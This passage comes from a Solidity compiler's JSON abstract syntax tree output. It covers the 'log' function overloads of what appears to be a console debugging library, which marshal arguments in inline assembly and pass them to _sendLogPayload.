isSlot":false,"src":"147115:2:22","valueSize":1},{"declaration":38515,"isOffset":false,"isSlot":false,"src":"147144:2:22","valueSize":1},{"declaration":38518,"isOffset":false,"isSlot":false,"src":"147173:2:22","valueSize":1},{"declaration":38521,"isOffset":false,"isSlot":false,"src":"147202:2:22","valueSize":1},{"declaration":38524,"isOffset":false,"isSlot":false,"src":"147231:2:22","valueSize":1}],"id":38532,"nodeType":"InlineAssembly","src":"147021:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"145925:3:22","parameters":{"id":38503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38496,"mutability":"mutable","name":"p0","nameLocation":"145937:2:22","nodeType":"VariableDeclaration","scope":38534,"src":"145929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38495,"name":"address","nodeType":"ElementaryTypeName","src":"145929:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38498,"mutability":"mutable","name":"p1","nameLocation":"145949:2:22","nodeType":"VariableDeclaration","scope":38534,"src":"145941:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38497,"name":"bytes32","nodeType":"ElementaryTypeName","src":"145941:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38500,"mutability":"mutable","name":"p2","nameLocation":"145961:2:22","nodeType":"VariableDeclaration","scope":38534,"src":"145953:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38499,"name":"uint256","nodeType":"ElementaryTypeName","src":"145953:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":38502,"mutability":"mutable","name":"p3","nameLocation":"145970:2:22","nodeType":"VariableDeclaration","scope":38534,"src":"145965:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38501,"name":"bool","nodeType":"ElementaryTypeName","src":"145965:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"145928:45:22"},"returnParameters":{"id":38504,"nodeType":"ParameterList","parameters":[],"src":"145988:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38574,"nodeType":"FunctionDefinition","src":"147256:1340:22","nodes":[],"body":{"id":38573,"nodeType":"Block","src":"147331:1265:22","nodes":[],"statements":[{"assignments":[38546],"declarations":[{"constant":false,"id":38546,"mutability":"mutable","name":"m0","nameLocation":"147349:2:22","nodeType":"VariableDeclaration","scope":38573,"src":"147341:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38545,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147341:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38547,"nodeType":"VariableDeclarationStatement","src":"147341:10:22"},{"assignments":[38549],"declarations":[{"constant":false,"id":38549,"mutability":"mutable","name":"m1","nameLocation":"147369:2:22","nodeType":"VariableDeclaration","scope":38573,"src":"147361:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38548,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147361:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38550,"nodeType":"VariableDeclarationStatement","src":"147361:10:22"},{"assignments":[38552],"declarations":[{"constant":false,"id":38552,"mutability":"mutable","name":"m2","nameLocation":"147389:2:22","nodeType":"VariableDeclaration","scope":38573,"src":"147381:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38551,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147381:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38553,"nodeType":"VariableDeclarationStatement","src":"147381:10:22"},{"assignments":[38555],"declarations":[{"constant":false,"id":38555,"mutability":"mutable","name":"m3","nameLocation":"147409:2:22","nodeType":"VariableDeclaration","scope":38573,"src":"147401:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147401:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38556,"nodeType":"VariableDeclarationStatement","src":"147401:10:22"},{"assignments":[38558],"declarations":[{"constant":false,"id":38558,"mutability":"mutable","name":"m4","nameLocation":"147429:2:22","nodeType":"VariableDeclaration","scope":38573,"src":"147421:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147421:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38559,"nodeType":"VariableDeclarationStatement","src":"147421:10:22"},{"assignments":[38561],"declarations":[{"constant":false,"id":38561,"mutability":"mutable","name":"m5","nameLocation":"147449:2:22","nodeType":"VariableDeclaration","scope":38573,"src":"147441:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38560,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147441:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38562,"nodeType":"VariableDeclarationStatement","src":"147441:10:22"},{"assignments":[38564],"declarations":[{"constant":false,"id":38564,"mutability":"mutable","name":"m6","nameLocation":"147469:2:22","nodeType":"VariableDeclaration","scope":38573,"src":"147461:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38563,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147461:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38565,"nodeType":"VariableDeclarationStatement","src":"147461:10:22"},{"AST":{"nativeSrc":"147490:831:22","nodeType":"YulBlock","src":"147490:831:22","statements":[{"body":{"nativeSrc":"147533:313:22","nodeType":"YulBlock","src":"147533:313:22","statements":[{"nativeSrc":"147551:15:22","nodeType":"YulVariableDeclaration","src":"147551:15:22","value":{"kind":"number","nativeSrc":"147565:1:22","nodeType":"YulLiteral","src":"147565:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"147555:6:22","nodeType":"YulTypedName","src":"147555:6:22","type":""}]},{"body":{"nativeSrc":"147636:40:22","nodeType":"YulBlock","src":"147636:40:22","statements":[{"body":{"nativeSrc":"147665:9:22","nodeType":"YulBlock","src":"147665:9:22","statements":[{"nativeSrc":"147667:5:22","nodeType":"YulBreak","src":"147667:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"147653:6:22","nodeType":"YulIdentifier","src":"147653:6:22"},{"name":"w","nativeSrc":"147661:1:22","nodeType":"YulIdentifier","src":"147661:1:22"}],"functionName":{"name":"byte","nativeSrc":"147648:4:22","nodeType":"YulIdentifier","src":"147648:4:22"},"nativeSrc":"147648:15:22","nodeType":"YulFunctionCall","src":"147648:15:22"}],"functionName":{"name":"iszero","nativeSrc":"147641:6:22","nodeType":"YulIdentifier","src":"147641:6:22"},"nativeSrc":"147641:23:22","nodeType":"YulFunctionCall","src":"147641:23:22"},"nativeSrc":"147638:36:22","nodeType":"YulIf","src":"147638:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"147593:6:22","nodeType":"YulIdentifier","src":"147593:6:22"},{"kind":"number","nativeSrc":"147601:4:22","nodeType":"YulLiteral","src":"147601:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"147590:2:22","nodeType":"YulIdentifier","src":"147590:2:22"},"nativeSrc":"147590:16:22","nodeType":"YulFunctionCall","src":"147590:16:22"},"nativeSrc":"147583:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"147607:28:22","nodeType":"YulBlock","src":"147607:28:22","statements":[{"nativeSrc":"147609:24:22","nodeType":"YulAssignment","src":"147609:24:22","value":{"arguments":[{"name":"length","nativeSrc":"147623:6:22","nodeType":"YulIdentifier","src":"147623:6:22"},{"kind":"number","nativeSrc":"147631:1:22","nodeType":"YulLiteral","src":"147631:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"147619:3:22","nodeType":"YulIdentifier","src":"147619:3:22"},"nativeSrc":"147619:14:22","nodeType":"YulFunctionCall","src":"147619:14:22"},"variableNames":[{"name":"length","nativeSrc":"147609:6:22","nodeType":"YulIdentifier","src":"147609:6:22"}]}]},"pre":{"nativeSrc":"147587:2:22","nodeType":"YulBlock","src":"147587:2:22","statements":[]},"src":"147583:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"147700:3:22","nodeType":"YulIdentifier","src":"147700:3:22"},{"name":"length","nativeSrc":"147705:6:22","nodeType":"YulIdentifier","src":"147705:6:22"}],"functionName":{"name":"mstore","nativeSrc":"147693:6:22","nodeType":"YulIdentifier","src":"147693:6:22"},"nativeSrc":"147693:19:22","nodeType":"YulFunctionCall","src":"147693:19:22"},"nativeSrc":"147693:19:22","nodeType":"YulExpressionStatement","src":"147693:19:22"},{"nativeSrc":"147729:37:22","nodeType":"YulVariableDeclaration","src":"147729:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"147746:3:22","nodeType":"YulLiteral","src":"147746:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"147755:1:22","nodeType":"YulLiteral","src":"147755:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"147758:6:22","nodeType":"YulIdentifier","src":"147758:6:22"}],"functionName":{"name":"shl","nativeSrc":"147751:3:22","nodeType":"YulIdentifier","src":"147751:3:22"},"nativeSrc":"147751:14:22","nodeType":"YulFunctionCall","src":"147751:14:22"}],"functionName":{"name":"sub","nativeSrc":"147742:3:22","nodeType":"YulIdentifier","src":"147742:3:22"},"nativeSrc":"147742:24:22","nodeType":"YulFunctionCall","src":"147742:24:22"},"variables":[{"name":"shift","nativeSrc":"147733:5:22","nodeType":"YulTypedName","src":"147733:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"147794:3:22","nodeType":"YulIdentifier","src":"147794:3:22"},{"kind":"number","nativeSrc":"147799:4:22","nodeType":"YulLiteral","src":"147799:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"147790:3:22","nodeType":"YulIdentifier","src":"147790:3:22"},"nativeSrc":"147790:14:22","nodeType":"YulFunctionCall","src":"147790:14:22"},{"arguments":[{"name":"shift","nativeSrc":"147810:5:22","nodeType":"YulIdentifier","src":"147810:5:22"},{"arguments":[{"name":"shift","nativeSrc":"147821:5:22","nodeType":"YulIdentifier","src":"147821:5:22"},{"name":"w","nativeSrc":"147828:1:22","nodeType":"YulIdentifier","src":"147828:1:22"}],"functionName":{"name":"shr","nativeSrc":"147817:3:22","nodeType":"YulIdentifier","src":"147817:3:22"},"nativeSrc":"147817:13:22","nodeType":"YulFunctionCall","src":"147817:13:22"}],"functionName":{"name":"shl","nativeSrc":"147806:3:22","nodeType":"YulIdentifier","src":"147806:3:22"},"nativeSrc":"147806:25:22","nodeType":"YulFunctionCall","src":"147806:25:22"}],"functionName":{"name":"mstore","nativeSrc":"147783:6:22","nodeType":"YulIdentifier","src":"147783:6:22"},"nativeSrc":"147783:49:22","nodeType":"YulFunctionCall","src":"147783:49:22"},"nativeSrc":"147783:49:22","nodeType":"YulExpressionStatement","src":"147783:49:22"}]},"name":"writeString","nativeSrc":"147504:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"147525:3:22","nodeType":"YulTypedName","src":"147525:3:22","type":""},{"name":"w","nativeSrc":"147530:1:22","nodeType":"YulTypedName","src":"147530:1:22","type":""}],"src":"147504:342:22"},{"nativeSrc":"147859:17:22","nodeType":"YulAssignment","src":"147859:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"147871:4:22","nodeType":"YulLiteral","src":"147871:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"147865:5:22","nodeType":"YulIdentifier","src":"147865:5:22"},"nativeSrc":"147865:11:22","nodeType":"YulFunctionCall","src":"147865:11:22"},"variableNames":[{"name":"m0","nativeSrc":"147859:2:22","nodeType":"YulIdentifier","src":"147859:2:22"}]},{"nativeSrc":"147889:17:22","nodeType":"YulAssignment","src":"147889:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"147901:4:22","nodeType":"YulLiteral","src":"147901:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"147895:5:22","nodeType":"YulIdentifier","src":"147895:5:22"},"nativeSrc":"147895:11:22","nodeType":"YulFunctionCall","src":"147895:11:22"},"variableNames":[{"name":"m1","nativeSrc":"147889:2:22","nodeType":"YulIdentifier","src":"147889:2:22"}]},{"nativeSrc":"147919:17:22","nodeType":"YulAssignment","src":"147919:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"147931:4:22","nodeType":"YulLiteral","src":"147931:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"147925:5:22","nodeType":"YulIdentifier","src":"147925:5:22"},"nativeSrc":"147925:11:22","nodeType":"YulFunctionCall","src":"147925:11:22"},"variableNames":[{"name":"m2","nativeSrc":"147919:2:22","nodeType":"YulIdentifier","src":"147919:2:22"}]},{"nativeSrc":"147949:17:22","nodeType":"YulAssignment","src":"147949:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"147961:4:22","nodeType":"YulLiteral","src":"147961:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"147955:5:22","nodeType":"YulIdentifier","src":"147955:5:22"},"nativeSrc":"147955:11:22","nodeType":"YulFunctionCall","src":"147955:11:22"},"variableNames":[{"name":"m3","nativeSrc":"147949:2:22","nodeType":"YulIdentifier","src":"147949:2:22"}]},{"nativeSrc":"147979:17:22","nodeType":"YulAssignment","src":"147979:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"147991:4:22","nodeType":"YulLiteral","src":"147991:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"147985:5:22","nodeType":"YulIdentifier","src":"147985:5:22"},"nativeSrc":"147985:11:22","nodeType":"YulFunctionCall","src":"147985:11:22"},"variableNames":[{"name":"m4","nativeSrc":"147979:2:22","nodeType":"YulIdentifier","src":"147979:2:22"}]},{"nativeSrc":"148009:17:22","nodeType":"YulAssignment","src":"148009:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"148021:4:22","nodeType":"YulLiteral","src":"148021:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"148015:5:22","nodeType":"YulIdentifier","src":"148015:5:22"},"nativeSrc":"148015:11:22","nodeType":"YulFunctionCall","src":"148015:11:22"},"variableNames":[{"name":"m5","nativeSrc":"148009:2:22","nodeType":"YulIdentifier","src":"148009:2:22"}]},{"nativeSrc":"148039:17:22","nodeType":"YulAssignment","src":"148039:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"148051:4:22","nodeType":"YulLiteral","src":"148051:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"148045:5:22","nodeType":"YulIdentifier","src":"148045:5:22"},"nativeSrc":"148045:11:22","nodeType":"YulFunctionCall","src":"148045:11:22"},"variableNames":[{"name":"m6","nativeSrc":"148039:2:22","nodeType":"YulIdentifier","src":"148039:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148142:4:22","nodeType":"YulLiteral","src":"148142:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"148148:10:22","nodeType":"YulLiteral","src":"148148:10:22","type":"","value":"0x1dc8e1b8"}],"functionName":{"name":"mstore","nativeSrc":"148135:6:22","nodeType":"YulIdentifier","src":"148135:6:22"},"nativeSrc":"148135:24:22","nodeType":"YulFunctionCall","src":"148135:24:22"},"nativeSrc":"148135:24:22","nodeType":"YulExpressionStatement","src":"148135:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148179:4:22","nodeType":"YulLiteral","src":"148179:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"148185:2:22","nodeType":"YulIdentifier","src":"148185:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148172:6:22","nodeType":"YulIdentifier","src":"148172:6:22"},"nativeSrc":"148172:16:22","nodeType":"YulFunctionCall","src":"148172:16:22"},"nativeSrc":"148172:16:22","nodeType":"YulExpressionStatement","src":"148172:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148208:4:22","nodeType":"YulLiteral","src":"148208:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"148214:4:22","nodeType":"YulLiteral","src":"148214:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"148201:6:22","nodeType":"YulIdentifier","src":"148201:6:22"},"nativeSrc":"148201:18:22","nodeType":"YulFunctionCall","src":"148201:18:22"},"nativeSrc":"148201:18:22","nodeType":"YulExpressionStatement","src":"148201:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148239:4:22","nodeType":"YulLiteral","src":"148239:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"148245:2:22","nodeType":"YulIdentifier","src":"148245:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148232:6:22","nodeType":"YulIdentifier","src":"148232:6:22"},"nativeSrc":"148232:16:22","nodeType":"YulFunctionCall","src":"148232:16:22"},"nativeSrc":"148232:16:22","nodeType":"YulExpressionStatement","src":"148232:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148268:4:22","nodeType":"YulLiteral","src":"148268:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"148274:2:22","nodeType":"YulIdentifier","src":"148274:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148261:6:22","nodeType":"YulIdentifier","src":"148261:6:22"},"nativeSrc":"148261:16:22","nodeType":"YulFunctionCall","src":"148261:16:22"},"nativeSrc":"148261:16:22","nodeType":"YulExpressionStatement","src":"148261:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148302:4:22","nodeType":"YulLiteral","src":"148302:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"148308:2:22","nodeType":"YulIdentifier","src":"148308:2:22"}],"functionName":{"name":"writeString","nativeSrc":"148290:11:22","nodeType":"YulIdentifier","src":"148290:11:22"},"nativeSrc":"148290:21:22","nodeType":"YulFunctionCall","src":"148290:21:22"},"nativeSrc":"148290:21:22","nodeType":"YulExpressionStatement","src":"148290:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38546,"isOffset":false,"isSlot":false,"src":"147859:2:22","valueSize":1},{"declaration":38549,"isOffset":false,"isSlot":false,"src":"147889:2:22","valueSize":1},{"declaration":38552,"isOffset":false,"isSlot":false,"src":"147919:2:22","valueSize":1},{"declaration":38555,"isOffset":false,"isSlot":false,"src":"147949:2:22","valueSize":1},{"declaration":38558,"isOffset":false,"isSlot":false,"src":"147979:2:22","valueSize":1},{"declaration":38561,"isOffset":false,"isSlot":false,"src":"148009:2:22","valueSize":1},{"declaration":38564,"isOffset":false,"isSlot":false,"src":"148039:2:22","valueSize":1},{"declaration":38536,"isOffset":false,"isSlot":false,"src":"148185:2:22","valueSize":1},{"declaration":38538,"isOffset":false,"isSlot":false,"src":"148308:2:22","valueSize":1},{"declaration":38540,"isOffset":false,"isSlot":false,"src":"148245:2:22","valueSize":1},{"declaration":38542,"isOffset":false,"isSlot":false,"src":"148274:2:22","valueSize":1}],"id":38566,"nodeType":"InlineAssembly","src":"147481:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38568,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"148346:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38569,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"148352:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38567,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"148330:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"148330:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38571,"nodeType":"ExpressionStatement","src":"148330:27:22"},{"AST":{"nativeSrc":"148376:214:22","nodeType":"YulBlock","src":"148376:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"148397:4:22","nodeType":"YulLiteral","src":"148397:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"148403:2:22","nodeType":"YulIdentifier","src":"148403:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148390:6:22","nodeType":"YulIdentifier","src":"148390:6:22"},"nativeSrc":"148390:16:22","nodeType":"YulFunctionCall","src":"148390:16:22"},"nativeSrc":"148390:16:22","nodeType":"YulExpressionStatement","src":"148390:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148426:4:22","nodeType":"YulLiteral","src":"148426:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"148432:2:22","nodeType":"YulIdentifier","src":"148432:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148419:6:22","nodeType":"YulIdentifier","src":"148419:6:22"},"nativeSrc":"148419:16:22","nodeType":"YulFunctionCall","src":"148419:16:22"},"nativeSrc":"148419:16:22","nodeType":"YulExpressionStatement","src":"148419:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148455:4:22","nodeType":"YulLiteral","src":"148455:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"148461:2:22","nodeType":"YulIdentifier","src":"148461:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148448:6:22","nodeType":"YulIdentifier","src":"148448:6:22"},"nativeSrc":"148448:16:22","nodeType":"YulFunctionCall","src":"148448:16:22"},"nativeSrc":"148448:16:22","nodeType":"YulExpressionStatement","src":"148448:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148484:4:22","nodeType":"YulLiteral","src":"148484:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"148490:2:22","nodeType":"YulIdentifier","src":"148490:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148477:6:22","nodeType":"YulIdentifier","src":"148477:6:22"},"nativeSrc":"148477:16:22","nodeType":"YulFunctionCall","src":"148477:16:22"},"nativeSrc":"148477:16:22","nodeType":"YulExpressionStatement","src":"148477:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148513:4:22","nodeType":"YulLiteral","src":"148513:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"148519:2:22","nodeType":"YulIdentifier","src":"148519:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148506:6:22","nodeType":"YulIdentifier","src":"148506:6:22"},"nativeSrc":"148506:16:22","nodeType":"YulFunctionCall","src":"148506:16:22"},"nativeSrc":"148506:16:22","nodeType":"YulExpressionStatement","src":"148506:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148542:4:22","nodeType":"YulLiteral","src":"148542:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"148548:2:22","nodeType":"YulIdentifier","src":"148548:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148535:6:22","nodeType":"YulIdentifier","src":"148535:6:22"},"nativeSrc":"148535:16:22","nodeType":"YulFunctionCall","src":"148535:16:22"},"nativeSrc":"148535:16:22","nodeType":"YulExpressionStatement","src":"148535:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"148571:4:22","nodeType":"YulLiteral","src":"148571:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"148577:2:22","nodeType":"YulIdentifier","src":"148577:2:22"}],"functionName":{"name":"mstore","nativeSrc":"148564:6:22","nodeType":"YulIdentifier","src":"148564:6:22"},"nativeSrc":"148564:16:22","nodeType":"YulFunctionCall","src":"148564:16:22"},"nativeSrc":"148564:16:22","nodeType":"YulExpressionStatement","src":"148564:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38546,"isOffset":false,"isSlot":false,"src":"148403:2:22","valueSize":1},{"declaration":38549,"isOffset":false,"isSlot":false,"src":"148432:2:22","valueSize":1},{"declaration":38552,"isOffset":false,"isSlot":false,"src":"148461:2:22","valueSize":1},{"declaration":38555,"isOffset":false,"isSlot":false,"src":"148490:2:22","valueSize":1},{"declaration":38558,"isOffset":false,"isSlot":false,"src":"148519:2:22","valueSize":1},{"declaration":38561,"isOffset":false,"isSlot":false,"src":"148548:2:22","valueSize":1},{"declaration":38564,"isOffset":false,"isSlot":false,"src":"148577:2:22","valueSize":1}],"id":38572,"nodeType":"InlineAssembly","src":"148367:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"147265:3:22","parameters":{"id":38543,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38536,"mutability":"mutable","name":"p0","nameLocation":"147277:2:22","nodeType":"VariableDeclaration","scope":38574,"src":"147269:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38535,"name":"address","nodeType":"ElementaryTypeName","src":"147269:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38538,"mutability":"mutable","name":"p1","nameLocation":"147289:2:22","nodeType":"VariableDeclaration","scope":38574,"src":"147281:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38537,"name":"bytes32","nodeType":"ElementaryTypeName","src":"147281:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38540,"mutability":"mutable","name":"p2","nameLocation":"147301:2:22","nodeType":"VariableDeclaration","scope":38574,"src":"147293:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38539,"name":"uint256","nodeType":"ElementaryTypeName","src":"147293:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":38542,"mutability":"mutable","name":"p3","nameLocation":"147313:2:22","nodeType":"VariableDeclaration","scope":38574,"src":"147305:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38541,"name":"uint256","nodeType":"ElementaryTypeName","src":"147305:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"147268:48:22"},"returnParameters":{"id":38544,"nodeType":"ParameterList","parameters":[],"src":"147331:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38620,"nodeType":"FunctionDefinition","src":"148602:1536:22","nodes":[],"body":{"id":38619,"nodeType":"Block","src":"148677:1461:22","nodes":[],"statements":[{"assignments":[38586],"declarations":[{"constant":false,"id":38586,"mutability":"mutable","name":"m0","nameLocation":"148695:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148687:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38585,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148687:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38587,"nodeType":"VariableDeclarationStatement","src":"148687:10:22"},{"assignments":[38589],"declarations":[{"constant":false,"id":38589,"mutability":"mutable","name":"m1","nameLocation":"148715:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148707:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38588,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148707:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38590,"nodeType":"VariableDeclarationStatement","src":"148707:10:22"},{"assignments":[38592],"declarations":[{"constant":false,"id":38592,"mutability":"mutable","name":"m2","nameLocation":"148735:2:22","nodeType":"VariableDeclaration","scope":38619,"src":"148727:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38591,"name":"bytes32","nodeType":"ElementaryTypeName","src":"148727:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"